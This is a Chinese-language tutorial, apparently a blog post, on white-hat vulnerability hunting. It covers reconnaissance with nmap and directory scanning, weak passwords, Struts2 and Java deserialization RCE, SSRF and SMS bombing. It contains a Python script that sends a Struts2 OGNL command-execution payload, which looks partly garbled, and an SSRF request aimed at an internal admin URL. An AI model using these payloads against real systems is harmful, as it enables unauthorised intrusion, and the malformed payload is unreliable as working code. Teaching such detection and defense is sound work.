白帽子漏洞挖掘实战经验:资产收集与常见漏洞利用
引言
在网络安全领域,漏洞挖掘(Vulnerability Hunting)是提升系统安全性的重要手段。对于安全研究人员而言,掌握系统的资产信息、理解常见漏洞的原理及利用方式,不仅能帮助发现潜在风险,更能促进开发团队进行有效的修复。本文将基于实际测试经验,详细分享从资产收集到常见漏洞检测的完整流程,重点涵盖弱口令、框架漏洞(如 Struts2、Java 反序列化)、SSRF 及短信轰炸等场景,并提供相应的防御建议。
本文分享了白帽子漏洞挖掘的实战经验,涵盖资产收集、弱口令检测、Struts2 与 Java 反序列化漏洞、SSRF 及短信轰炸等常见场景。内容详细介绍了子域名枚举、端口扫描、Burp 工具使用及 Python 脚本示例,同时提供了各漏洞类型的防御建议,旨在帮助安全人员系统化掌握漏洞发现与修复方法,强调合法合规测试的重要性。

在网络安全领域,漏洞挖掘(Vulnerability Hunting)是提升系统安全性的重要手段。对于安全研究人员而言,掌握系统的资产信息、理解常见漏洞的原理及利用方式,不仅能帮助发现潜在风险,更能促进开发团队进行有效的修复。本文将基于实际测试经验,详细分享从资产收集到常见漏洞检测的完整流程,重点涵盖弱口令、框架漏洞(如 Struts2、Java 反序列化)、SSRF 及短信轰炸等场景,并提供相应的防御建议。
资产收集是漏洞挖掘的第一步,目标是尽可能全面地获取目标域名的相关信息。信息越丰富,发现隐藏入口的概率越高。
子域名往往承载着不同的业务功能,且可能配置不当。常用的收集方法包括:
推荐使用专业的子域名扫描工具,配置合适的线程数以提高效率。对于内网环境,需确认 DNS 服务器地址以确保解析准确。
发现子域名后,需进一步探测开放端口及服务版本。Nmap 是业界标准的端口扫描工具。
nmap -sS -sV <target> 进行 SYN 扫描并识别服务版本。nmap -T4 -A -v <target> 开启激进模式,自动识别 OS 和脚本。-Pn 参数跳过主机发现,直接扫描端口。此外,还可以结合 URL 采集工具 对搜索引擎结果中的链接进行提取,分析是否存在未收录的后台接口或测试页面。
针对 Web 应用,目录结构往往暴露敏感信息。可使用 Dirsearch 或 Gobuster 等工具遍历常见路径,重点关注 .git, .svn, .bak, config.php 等配置文件。
弱口令依然是导致系统失守的主要原因之一。检测策略包括:
admin/admin, root/root, test/test 等常见组合。注意:前端加密(如 MD5)并不能真正保护密码,攻击者可在抓包后解密或直接发送密文。验证码机制若设计薄弱,也可能被绕过。
验证码旨在防止机器自动化操作。但在实际测试中,部分验证码仅做形式校验:
Apache Struts2 是 Java Web 开发中广泛使用的 MVC 框架,历史上多次出现高危 RCE 漏洞。检测特征如下:
.action 或 .do 结尾。检测示例:
import requests
url = "http://target.com/action.action"
payload = "{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27id%27})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get(%27com.opensymphony.xwork2.ActionContext%27).get(%27servletResponse%27).getWriter(),%23e.println(%23e),%23f.close()}{%23m%3d%27exec%27,%23n%3dnew+java.util.HashMap(),%23n[%27cmd%27]%3d%23m,%23k%3d%23context.get(%27com.opensymphony.xwork2.ActionContext%27).get(%27servletResponse%27).getWriter(),%23k.print(%23n)}"
response = requests.post(url, data=payload)
print(response.text)
注:以上代码仅用于教学演示,请勿用于非法用途。
Java 反序列化漏洞允许攻击者在反序列化过程中触发危险对象的方法链(Gadget Chain)。常见于使用 JBoss、WebLogic 等容器的系统。
readObject 方法且调用了危险函数,则可能导致 RCE。ysoserial 生成的 Payload)发送请求,观察响应时间或报错信息。SSRF 允许攻击者诱导服务器向内部网络发起请求,常用于探测内网服务或访问云元数据。
localhost, 127.0.0.1, 0.0.0.0, file://, gopher:// 等协议。http://target/ssrf?url=http://10.0.0.1:8080/admin
此类漏洞源于缺乏频率限制。攻击者可利用注册、找回密码等接口,向指定手机号大量发送验证码。
漏洞挖掘是一项系统性工作,需要扎实的网络知识、熟练的工具使用能力以及严谨的法律意识。
通过规范化的资产收集、深入的漏洞分析和完善的防御策略,安全研究人员可以有效提升系统的整体安全性,为数字资产保驾护航。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online